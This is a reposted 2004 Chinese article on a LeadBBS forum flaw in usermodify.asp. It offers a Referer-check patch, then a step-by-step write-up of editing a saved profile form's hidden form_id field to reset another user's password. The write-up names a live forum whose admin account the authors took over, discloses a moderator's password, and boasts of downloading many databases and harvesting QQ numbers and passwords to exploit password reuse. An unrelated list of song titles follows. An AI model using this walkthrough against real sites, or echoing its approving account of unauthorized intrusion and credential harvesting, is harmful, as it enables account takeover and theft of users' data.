当前位置:首页>>软件教程>>新闻内容  
LEADBBS漏洞利用与终极防范
作者:佚名 发布时间:2004-1-17 21:27:14 | 【字体:

  下午三点钟下的网,等五点半在上网时,突然间发现自已网站论坛被换成了海洋顶端ASP木马的页面了,百思不得其解.对方是怎么做的呢.在这之前我已不止一次查看了此论坛的代码,至少我认为比动网的要安全多了.我在后台管理界面中早已禁止了上传图片,FLASH,搜索.郁闷.敢快打开FTP,现在最要紧的是如果恢复论坛,将哪个讨厌的ASP木马去掉.我先覆盖了首页面以为这样此木马页面就会消失,可是没有,接着我又覆盖了多个ASP文件,但依然不行.看来思路错了.此木马一定是找到根上去了,而每一个ASP文件都会调用到这个根.仔细一看原来在INC目录下的BBSSETUP文件由原来的4K变成25K了.肯定是他了.敢快替换掉.一瞬间清静了.论坛又回来了.但是我们到目前为止都不知对方是如何将此ASP上传上来的,所以论坛依旧有潜在危险.

一步一步分析

从只有论坛被放入ASP木马而空间中包括网站在内其它程式没有被放入ASP木马来看,对方只在论坛中取得了权限.范围缩小到论坛

从可以被放入ASP木马来看,对方应该是上传了此程式.而网站中我早就限定了上传图片,FLASH功能.将目标索定在签名和个人资料修改上

从我用管理员密码登陆不上去可以看出,对方已修改了我的管理密码,哪么说来数据库对方可能已拿到手,或者是猜测到了数据库路径.因为这是默认的

从管理界面中的信息被改可以看出对方应该找到了管理路径.因为这是默认的

从网站论坛数据没被破坏并且对方将ASP木马加了密码可以看出.对方可能没有坏的目的.这一点可以让人放心

然后我们要做的就是一步步排除并在一次加固论坛

1.下载数据库,看看密码被改成什么样了.然后登陆.并修改管理员密码.

2.限定个人签名,这在管理界面中可以做到

3.禁止修改个人资料.

4.修改数据库原目录和数据库名字.尽量复杂,让对方猜不到

5.修改后台管理路径.因为这样以后就算让对方用了管理员密码却不能直接用默认的管理进入.

6.让我们仔细看看有关个人资料的ASP文件,此文件为USERMODIFY.ASP,突然间想到,曾经看过一篇文章,写的是有关本地提交的漏洞,当时也是利用的此文件.哪我们就试一下.先注册一个USER,然后查看一下自已的资料,用右键将资料对应的ASP保存为usermodify.htm.然后在本地打开.现在回到论坛上,找到管理员的用户名和ID.哈哈.在本地打开的USERMODIFY.HTM中将你管理员的用户名和ID替换掉你自已的.然后在将ACTION修改成你要提交的网址.怎么样.保存运行一下.看到了吧,很简单的就成为管理员了.真是危险呀.

记的以前哪个有关本地提交的漏洞给出的修补代码是

<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"
response.write "<tr><td style='font:9pt Verdana'>"
response.write "你提交的路径有误,禁止从站点外部提交数据请不要乱该参数!"
response.write "</td></tr></table></center>"
response.end
end if
%>

要求从服务器判断路径提交,其他地址提交提交无无效,依此我们也来修补一下吧:
打开你的USERMODIFY.ASP

1.在你的DEF_BBS_HomeUrl = "../"之上在加一行Dim SuperEditID,server_v1,server_v2

2.去掉Dim SuperEditID

3.在Function saveFormData下面加上如下语句:

if instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server_name")&"") = 0 then
response.write "<li><font color=red size=20>非法闯入!影子鹰安全网www.cnhacker.cn</font>"
response.end
end if

OK,补好后就禁止了对方从本地进行提交获取权限了.


一个低级不容易发现的漏洞,让我们进入了浪客网络安全联盟BBS的后台.

这是一篇最开始发现LEADBBS漏洞的文章!
这个漏洞大家都知道了。
这里贴出来让大家再看看吧!
漏洞分析

序:
天气不错,非常凉爽,心情也特别的开心,在我们成功的对动网,bbsxp漏洞测试完后。我们又对leadbbs进行测试了.
首先下载了leadbbs的最新版本.解压到 本机.发现了这个bbs写得也不错,特别是对于sql注射方面他们对所提交的参数
一般都做了非常严格的过滤,如果不认真的去分析,可能也不好找出漏洞的.

不过并不是每一个论坛都会采用sql注射的办法,灵活的思维,清醒的头脑也是成功的最重要组成部分.

开工:

第一步:发现漏洞:

当我在认真的找sql注射漏洞的同时,卖身给我说了,他个bbs和浪客的有点相同.看来浪客也是采用的这个bbs了。
呵呵,欲望也不错啊,这个bbs的注射漏洞大体上没有什么.算是还安全吧.(不过我只查找了半个小时的源码,没有什么发现)

这时,卖身又说,他可能存在一个可以修改其他人密码的漏洞,一般的bbs,如果没有想周全都想不到这个洞,也就是脚本编写
人员不太注意了。他这一提醒。我马上打开源代码一看,真的是存在这个漏洞。
//*******************************************************************************
漏洞简述

当自己注册一个用户的时候,修改自己的密码,脚本没有判断旧密码,直接把新改的密码根据用户的id
保存到用户的资料中去的.并没有对这个用户进行判断。试想一下,如果我们修改提交的id值,会出现什么样的情况.
如果你的id为641,如果改成了500.那么你修改的资料就会把id号为500的这个用户的资料修改了.

漏洞代码:

function saveformdata

form_revmessageflag = request.form("form_revmessageflag")
if form_revmessageflag = "1" then
form_revmessageflag = 1
else
form_revmessageflag = 0
end if

form_userlimit = setbinarybit(form_userlimit,13,form_revmessageflag)

dim rs,temp
set rs = server.createobject("adodb.recordset")
rs.open "select top 1 * from leadbbs_user where id=" & form_id,con,1,3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这条看到没有,直接把for_id 提交到数据库中,进行查找再进行修改.


gbl_dbnum = gbl_dbnum + 1
if rs.eof then
rs.close
set rs = nothing
gbl_chk_tempstr = gbl_chk_tempstr & "发生意外错误<br>" & vbcrlf
saveformdata = 0
exit function
end if
=======================================以下是修改数据库中的值==============================
rs("mail") = form_mail
rs("address") = form_address
rs("sex") = form_sex
if form_icq = "" then
rs("icq") = null
else
rs("icq") = form_icq
end if
if form_oicq = "" then
rs("oicq") = null
else
rs("oicq") = form_oicq
end if
rs("userphoto") = form_userphoto
rs("homepage") = form_homepage
rs("underwrite") = form_underwrite
rs("printunderwrite") = form_printunderwrite
rs("pass") = form_password1
if len(form_birthday)=14 then
rs("birthday") = form_birthday
temp = ccur(left(form_birthday,4))
if temp > 1950 and temp < 2050 then rs("nonglibirth") = gettimevalue(converttonongli(restoretime(form_birthday)))
else
rs("birthday") = null
end if

if def_alldefineface = 1 then
rs("faceurl") = form_faceurl
rs("facewidth") = form_facewidth
rs("faceheight") = form_faceheight
end if

rs("showflag") = form_showflag
rs("notsecret") = form_notsecret
rs("lastwritetime") = gettimevalue(now)
rs("userlimit") = form_userlimit
if def_userenableusertitle = 1 and form_userlevel >= def_userusertitleneedlevel then rs("usertitle") = form_usertitle
================================================over====================================================
rs.update // 这就是提交修改.

rs.close
set rs = nothing
..............略去一部分无用代码.......
end function%>
//*******************************************************************************


攻击演示

第二步:测试漏洞
到浪客网站注册一个账号,再看看是不是和这个代码所表现的相同。登陆进去后,修改自己的资料,发现并没有要求我填写自己
的旧密码,哈哈。这时多半都成功了。现在我们在新注册用户列表中,查到自己的编号(也就是库中的id号)为:8317
好了,现在我们把他的页面另存为一个htm文件保存到自己的电脑中,看一下那个id号放在什么地方的。用记事本打开,html代码如下:

<form action=usermodify.asp method=post name=form1 onsubmit="submitonce(this);return validationpassed">
上面提交的地方 我们也改成:action=http://www.longker.com/bbs/user/usermodify.asp

..................略掉一部分代码.............
<tr>
<td align=middle height=25>
<p>*用户名称: </p></td>
<td height=25>
<p>ohyes </p></td></tr>
<tr>
<td align=middle height=25>
<p>*你的密码: </p></td>
<td height=25>
<input class=fminpt name=submitflag type=hidden value=29d98sasphouseasp8asphnet>
<input class=fminpt name=form_id type=hidden value=8317>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
看到没有上面就是保存了你的id值。不过他用了type=hidden所以在html中你看不到,是隐藏的我们改一下代码
<input class=fminpt name=form_id value=8317> //去掉隐藏.这样就可以在ie中显示出来了.你就可以随便输入
一个id值来改这个人的资料了.

<input class=fminpt maxlength=20 name=form_password1 size=14
type=password value=comm> </td></tr>
<tr>
<td align=middle height=25>
<p>*验证密码: </p></td>
<td height=25><input class=fminpt maxlength=20
name=form_password2 size=14 type=password value=comm>
</td></tr>
<tr>
..................略掉其他的,都是输入qq,email,地址之类的无用代码不看了..................

编辑好后,取个名字叫:ok.htm 呵呵~!·

好了,我们现在测试一下看对不对?并不要急于去修改管理员的资料,先再注册一个id再试试.
我又注册了一个id,得到id为:8318,密码为:inputyfd

打开我们的ok.htm输入id号:8318,密码改成:inputyfd1 试试看.
提交,ie显示成功,并把8318的资料显示了出来,看来都已经成功了。用8318这个id登陆再确定一下。
输入密码:inputyfd 提示密码错误,哈哈,再输入inputyfd1提示密码成功.看来我们就真正的修改了这个这个人的资料。

第三步:更改管理员的密码,进入后台管理.(以下部分,由于本人断线,所有工作由卖身完成!)

在管理员列表中,我发现了,欲望的id号为:980 ,admin的id值为1. 好。继续。一样打开ok.htm 把admin的id填上 。把密码改为testtest。
ok.提交成功,呵呵,现在用admin的账号登陆。进入管理。哈哈。。一切的一切都在眼前了。呵呵~!!
看看管理人员吧。结果发现欲望的密码为wocaonimother。晕吧!
你还想做什么呢?下载数据库,得到里面的敏感信息?呵呵,真的吗???

结束语:
近来对各大bbs官方论坛,以及对一些黑客站点的论坛进行了安全测试,都或多或少的发现了一些漏洞。并利用这些漏洞
成功的得到了管理账号.看来中国的网络安全真的有待于进一步的发展,有待于我们脚本开发人员水平的提高!


////////////////////////////////////////////////////
这个洞让我们下了很多个数据库.
然后写了程序得到数据库中的QQ号码!
和论坛的密码。

其中社会工程学中提到过有10%的人用一个密码做很多个账号的密码。
结果出来了。
只要写了QQ号码的账号。
100个QQ号。有12左右论坛密码就是他的QQ密码。
大多都是生日,电话号码,要不就是特别的字符!


文章来源:西部E网
 放生
 愚爱
 够爱
 触电
 白狐
 葬爱
 光荣
 画心
 火花
 稻香
 小酒窝
 下雨天
 右手边
 安静了
 魔杰座
 你不像她
 边做边爱
 擦肩而过
 我的答铃
 怀念过去
 等一分钟
 放手去爱
 冰河时代
 你的承诺
 自由飞翔
 原谅我一次
 吻的太逼真
 左眼皮跳跳
 做你的爱人
 一定要爱你
 飞向别人的床
 爱上别人的人
 感动天感动地
 心在跳情在烧
 玫瑰花的葬礼
 有没有人告诉你
 即使知道要见面
 爱上你是一个错
 最后一次的温柔
 爱上你是我的错
 怎么会狠心伤害我
 不是因为寂寞才想
 亲爱的那不是爱情
 难道爱一个人有错
 寂寞的时候说爱我